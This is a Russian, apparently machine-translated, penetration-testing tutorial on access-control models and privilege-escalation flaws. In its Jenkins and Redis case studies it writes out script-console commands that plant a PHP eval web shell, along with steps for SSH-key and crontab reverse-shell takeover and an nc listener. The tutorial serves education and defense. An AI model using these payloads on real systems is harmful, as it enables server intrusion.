Логика тестирования на проникновение, принцип уязвимости и проверка (4) - проблемы контроля разрешений
Логика тестирования на проникновение, принцип уязвимости и проверка (4) - проблемы контроля разрешений

Проблемы с контролем разрешений

Определенному субъекту необходимо выполнить определенную операцию над определенным объектом, и ограничением системы на эту операцию является контроль разрешений.

В защищенной системе аутентификация используется для подтверждения личности субъекта. Объект — это ресурс, который запрашивается субъектом. То, что может сделать субъект, — это авторитет, а авторитет можно подразделить на различные способности. Например: В файловой системе Linux разрешения делятся на три возможности: чтение, запись и выполнение.

Управление разрешениями обычно делится на два этапа: аутентификацию и авторизацию. Первым шагом является проверка личности, которая используется для проверки того, кто является пользователем и имеет ли он право войти в систему и получить доступ к системе. Это решает проблему [Кто я]: второй шаг — авторизация, то есть авторизация. используется для определения того, что может делать пользователь, и объединения различных функций системы. Предоставление разрешений разным учетным записям, чтобы они имели разные разрешения на работу после входа в систему, чтобы решить проблему [Что я могу сделать].

Образно говоря: предположим, что система представляет собой дом, и человек, держащий ключ, может открыть дверь и войти в дом. Далее дом осуществляет «проверку личности» через замки и ключи, а процесс открытия двери соответствует входу в систему. После открытия двери в какую комнату можно попасть, что можно и что нельзя делать - это область "авторизации".

Метод контроля разрешений

Политика ACL: субъект-правило-объект

  • Права доступа к файлам Linux: чтение, запись, выполнение

RBAC: системы веб-приложений часто используют эту модель.

  • Разрешения веб-приложения: на основе URL-адреса, на основе метода, на основе данных.

ACL

ACL, список контроля доступа. ACL содержит три ключевых элемента: «Пользователь», «Ресурс» и «Операция ресурса». Каждый ресурс снабжен списком, в котором записано, какие пользователи могут выполнять какие операции на этом ресурсе. Когда система попытается получить доступ к этому ресурсу, она проверит, есть ли какие-либо разрешения на операцию для текущего пользователя в этом списке. ACL — это модель управления доступом, ориентированная на «ресурсы», и этот механизм разработан вокруг «ресурсов».

Типичный пример ACL: В Linux субъектом является пользователь системы, а объектом — файл, к которому осуществляется доступ. Операции, которые можно выполнять с файлом, делятся на чтение (r), запись (w) и выполнение (x). . Эти три операции соответствуют трем субъектам одновременно: владельцу файла, группе пользователей, к которой принадлежит владелец файла, и другим пользователям. Три соответствующих отношения субъект-объект-операция составляют список доступа управления ACL. Когда пользователь обращается к файлу, успех или неудача будут определяться ACL.

RBAC

терминология

  • Пользователь: человек, машина, сеть и т. д., объект реализации, который получает доступ к ресурсам или услугам.
  • Роль: Должностная функция. Пользователи, которым назначена роль, будут иметь соответствующие полномочия и ответственность.
  • сеанс: сопоставление пользователя с его или ее набором активированных ролей.
  • Разрешение: разрешение на выполнение операции над одним или несколькими объектами, защищенными RBAC.
  • Операция: исполняемый образ программы, выполняющий определенные функции для пользователя при вызове.
  • Объект: системные ресурсы, требующие контроля доступа, такие как файлы, принтеры, записи базы данных и т. д.

RBAC, управление доступом на основе ролей. RBAC считает, что авторизация на самом деле представляет собой связь между «Кто», «Что» и «Как», то есть «Кто выполняет операции «Как» над «Что».

  • Кто: владелец или субъект разрешения (например, пользователь, группа, роль и т. д.).
  • Что: объект или ресурс, на который распространяется разрешение.
  • Как: особые разрешения

Классификация контроля разрешений

Что касается контроля разрешений, обычно возникают следующие проблемы:

  • Несанкционированный доступ
  • Несанкционированный доступ

Несанкционированный доступ

При наличии ошибок в конфигурации безопасности информационной системы или на странице адреса и авторизации для аутентификации органа может возникнуть Несанкционированный. доступ,в результате чего пользователь получает доступ к информационной системе,Затем используйте важные разрешения、Операционная база данных、Прочтите конфиденциальную информацию, такую ​​как каталоги веб-сайтов.

в настоящее время существует Несанкционированный Уязвимость доступа в основном существует в разрешениях веб-приложений. В обычных обстоятельствах,Страница управления должна быть доступна только администраторам.,И сканеры поисковых систем не должны иметь возможности выполнять поиск по этим страницам.,Однако эти системы не контролируют права доступа пользователей.,В результате любой пользователь может получить доступ к этим страницам или использовать сканер для сканирования каталога страниц, если он создаст правильный URL-адрес.

Для веб-приложений Несанкционированный доступ часто возникает при входе в систему с пустым паролем и доступе к странице управления серверной частью. Пустые пароли часто возникают из-за проблем с конфигурацией.,Разрешить вход без ввода имени пользователя и пароля,Этого можно избежать, изменив конфигурацию. Страница фонового управления должна быть доступна только администраторам.,В обычных обстоятельствах доступ на стойку регистрации не должен осуществляться.,Поисковые системы и сканеры также не должны выполнять поиск на внутренних страницах.,Потому что система не контролирует права доступа пользователей,Злоумышленник может попытаться это сделать с помощью инструментов или вручную.

Для баз данных или некоторых сервисных компонентов Несанкционированный. доступ может быть связан с ошибками, появляющимися в некоторых версиях.,Разрешение злоумышленнику читать информацию базы данных,Чтение системных файлов,Даже использовать сервисы для записи файлов на хост

На данный момент к основным сервисам с уязвимостью Несанкционированный доступ относятся:

Метод испытания

  • Google-Hacking
  • Взрыв доменного имени
  • Портовый сервис
  • Сканировать ассоциацию доменного имени

Кейс: Alibaba Cloud определенно Несанкционированный доступ Можетпроверять Просмотр деловых записей

Случай:JenkinsНесанкционированный доступ

Jenkins — проект программного обеспечения с открытым исходным кодом.,Это инструмент непрерывной интеграции, разработанный на основе Java.,Он может превратить процесс разработки программного обеспечения в рабочий процесс. По умолчанию пользователи на панели Jenkins могут выбрать выполнение интерфейса сценария для выполнения некоторых команд системного уровня.,Злоумышленники могут проникнуть в серверную службу управления через уязвимость «Несанкционированный доступ» или перебор паролей пользователей.,Получите разрешения сервера через интерфейс выполнения скрипта.

Развертывание Дженкинса В версии 1.62 включена глобальная политика авторизации. Текущая новая версия Jenkins требует от пользователей входа в систему по умолчанию, но конфигурация по умолчанию в старой версии — «любой пользователь может делать что угодно». Вопросы о доступе

По умолчанию пароль не установлен, а доступ к http://lP:8080/manage и http://P:8080/script осуществляется напрямую через URL-адрес http://IP:8080/manage. Доступ к странице http://IP:8080/manage осуществляется напрямую без каких-либо действий. ограничения.

Нажмите «Выполнение команд сценария» и посетите страницу http://IP:8080/script. Вы можете видеть, что на веб-странице интегрирована функция онлайн-выполнения команд сценария.

Может выполнять Java-команды printIn"ls".execute().text, вызовите функцию для выполнения системной команды, вы увидите, что информация о файле в текущем каталоге отображается, эта уязвимость принадлежит Несанкционированный доступ также является уязвимостью выполнения команд.

Если путь к веб-сайту:/var/www/html (требуются определенные разрешения)

Используйте «командную строку сценария» для написания веб-оболочки, нажмите «Выполнить», об ошибках не сообщается, и запись прошла успешно.

Язык кода:shell
копировать
new File ("/var/www/html/shell.php").write('<?php phpinfo(); ?>');

В то же время вы также можете написать предложение Троян:

Язык кода:shell
копировать
new File ("/var/www/html/shell.php").write('<?php @eval($ _POST[cmd]); ?>');

Случай:RedisНесанкционированный доступ

Redis имеет полностью открытый исходный код и бесплатен, соответствует протоколу BSD, представляет собой высокопроизводительную систему хранения значений «ключ-значение» и кроссплатформенную нереляционную базу данных. Redis часто называют сервером структуры данных, поскольку значениями могут быть строки, хеши, списки, наборы, упорядоченные наборы и т. д. Он имеет следующие три характеристики по сравнению с другими продуктами кэширования «ключ-значение»:

  • Redis поддерживает сохранение данных,Может сохранять содержимое памяти на диск,Вы можете загрузить его снова для использования при перезапуске.
  • Redis поддерживает больше, чем просто данные типов «ключ-значение».,Iist также доступен,set,zset,Хранение структур данных, таких как хэш
  • Redis поддерживает резервное копирование данных,То есть резервное копирование данных в режиме master-slave.

Redis По умолчанию он будет привязан к 0.0.0.0:6379, если не приняты соответствующие политики, например добавление правил брандмауэра, чтобы избежать других ненадежных источников. ip доступ и т. д., что позволит Redis Служба доступна в общедоступной сети; если аутентификация по паролю не установлена ​​(обычно пустая), любой пользователь сможет получить доступ к целевому серверу. доступ Redis и читать Redis данные

Злоумышленник Несанкционированный доступ Redis В случае использования Redis собственная предоставленная конфигурация Команда вы можете выполнять операции записи файлов, и злоумышленник может успешно записать свой открытый ключ ssh в /root/.ssh целевого сервера. авторизованная папка keys Затем вы можете использовать соответствующий закрытый ключ для прямого входа на целевой сервер с помощью службы ssh для добавления запланированных задач, записи в веб-оболочку и других операций.

RedisНесанкционированный доступиспользовать

Сканировать/подключиться к порту 6379 по умолчанию:

  • Чтение данных непосредственно из базы данных
  • Запишите оболочку в веб-каталог: вам нужно угадать адрес веб-каталога.

Вы можете установить dir в каталог a и dbfilename в имя файла b, а затем выполнить save для записи любого файла с путем a/b (требуется веб-сервис и разрешение на запись)

  • Напишите открытый ключ ssh-keygen, а затем войдите в систему, используя закрытый ключ.

Конфигурация SSH без пароля

Подключитесь к Redis и используйте redis-cli для записи конфигурации для записи открытого ключа в каталог .ssh.

Используйте закрытый ключ для успешного входа на сервер Redis.

  • Используйте crontab для восстановления оболочки

Подключитесь к Redis, запишите запланированные задачи в crontab и выполните повторную привязку оболочки, для которой требуются права root.

Запустите nc на атакующей машине, чтобы прослушать порт 5555 (любой незанятый порт) и дождитесь восстановления оболочки.

Язык кода:shell
копировать
nc -lvnp 5555

Несанкционированный доступоборонные решения

  • Скрытый: он может только помешать пользователям угадать фоновый интерфейс. Взрывные инструменты могут сканировать большое количество фоновых адресов.
  • Контроль разрешений страницы: может запретить пользователям, не прошедшим проверку подлинности, вход в серверную часть. Даже если внутренняя ссылка будет найдена, она будет заблокирована окном аутентификации.

Несанкционированный доступ

Несанкционированный доступ — распространенная логическая уязвимость в веб-приложениях.,Ввиду широкого распространения и большого вреда,,По версии OWASP, он занимает второе место в десятке самых скрытых опасностей веб-приложений.

Потому что сервер слишком доверяет запросу операции с данными клиента.,Игнорирование определения прав доступа пользователя к работе,В результате, изменяя соответствующие параметры, вы можете получить функции добавления, удаления, проверки и изменения других учетных записей.,Это приводит к превышению полномочий.

По принципу работы базы данных ее можно разделить на:

  • Ультравирусный запрос
  • Несанкционированное удаление
  • Ультравирес модификация
  • Добавлено сверх полномочий

Классификация ультравирусов

По размерам его можно разделить на:

параллельные ультраправые полномочия(Тип разрешения остается неизменным,Идентификатор разрешения изменен)

  • Злоумышленник пытается получить доступ к ресурсам пользователя того же уровня, что и злоумышленник.

вертикальное переопределение(РазрешенияIDпостоянный,Изменение типа разрешения

  • Злоумышленник низкого уровня пытается получить доступ к ресурсам пользователя высокого уровня.

Пересечение ультра-вирес(Изменение типа разрешения,Идентификатор разрешения также меняется)

  • Пересечение ультра-виресдавертикальное переопределениеи Горизонтальные ультравирыпересечение(Существующийпараллельные ультраправые полномочияконцепция,Существует такжевертикальное переопределениеконцепция)

Модель управления разрешениями RBAC (управление доступом на основе ролей)

Модель управления разрешениями RBAC — это широко используемый метод управления разрешениями пользователей в новых системах. В традиционном типе разрешений разрешения предоставляются непосредственно пользователям, тогда как RBAC добавляет концепцию «роли». Сначала разрешения предоставляются ролям, а затем. на основе разных пользователей. Требования назначают роли пользователям. В настоящее время многие системы веб-сайтов используют метод управления разрешениями RBAC для назначения разных ролей разным пользователям и предоставления разрешений, таких как обычные пользователи, аудиторы, администраторы, суперадминистраторы и т. д.

Принцип горизонтального ультравиреса

Принцип горизонтального Ультравиреса заключается в том, что пользователь A и пользователь B принадлежат к одной и той же роли. Принадлежность пользователя A к роли X не определяет, может ли пользователь A получить доступ к данным, которые принадлежат только пользователю B. Б, это произойдет горизонтально. доступ。

Горизонтальный несанкционированный доступ также можно назвать уязвимостью атаки контроля доступа. Когда веб-приложение получает запрос пользователя на добавление, удаление, изменение или проверку фрагмента данных, оно не определяет пользователя, соответствующего данным, или при определении пользователя данных оно получает идентификатор пользователя из формы пользователя. Реализован, так что идентификатор пользователя можно изменить для достижения горизонтального переопределения.

Вертикальный принцип ultra vires

Вертикальный принцип ultra В vires ролям с высокими привилегиями часто разрешается доступ к ресурсам ролей с низкими привилегиями. Ролям с низкими привилегиями запрещается доступ к ресурсам ролей с высокими привилегиями. Если роль с низкими привилегиями получает более высокие привилегии путем доступа к URL-адресам, изменения удостоверений, параметры перемещения и т.д. Способности персонажа, чтобы происходила вертикальная Несанкционированный доступ。

вертикальное переопределение — это уязвимость, вызванная конструктивным недостатком «контроля доступа на основе URL-адресов».,Также называется атакой повышения привилегий.,Конкретная причина заключается в том, что веб-приложение не контролирует разрешения пользователей.,Или просто сделайте контроль разрешений в меню.,В результате злоумышленникам нужно только угадать URL-адрес других страниц управления.,Вы можете получить доступ к другим персонажам или управлять ими, владея данными или страницами.,Достичь цели повышения привилегий.

Решение для защиты от ультравирусов

вертикальное переопределение

  • Настройте соответствующий механизм управления сеансом и выполняйте проверку сеанса на каждой странице, включающей операции с высоким уровнем привилегий.

Горизонтальные ультравиры

  • Настройте разумный механизм управления сеансами и сохраните соответствующие идентификаторы пользователя на сервере.
  • Когда дело доходит до операций, связанных с конфиденциальностью пользователя, извлеките идентификатор пользователя (например, id) из сеанса и выполните операции.
  • Не доверяйте каждому вводу пользователя, чтобы превысить его полномочия.

Некоторые изображения в этой статье взяты из учебного курса для сертифицированных инженеров службы безопасности Sangfor. Они предназначены для удобства личного изучения и использования и не предназначены для коммерческого использования! ! ! ! Текстовый контент набран лично мной, а не перенесен напрямую! Если есть какие-либо нарушения, пожалуйста, свяжитесь с нами, чтобы удалить их! ! !

Информация, представленная в этом документе, предназначена только дляОбразовательные цели и тестирование на проникновение с явным разрешением。Любое несанкционированное использование технической информации, содержащейся в этом документе, запрещено.дастрого запрещено,И может нарушать «Сетевой закон Китайской Народной Республики» и связанные с ним законы и правила. Пользователи должны использовать полученные знания законным и соответствующим требованиям образом.,Он не может использоваться для незаконного вторжения, разрушения информационных систем и других злонамеренных действий. Мы настоятельно рекомендуем всем читателям соблюдать местные законы и этические правила.,Исследуйте информационные технологии в пределах правовых границ.

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose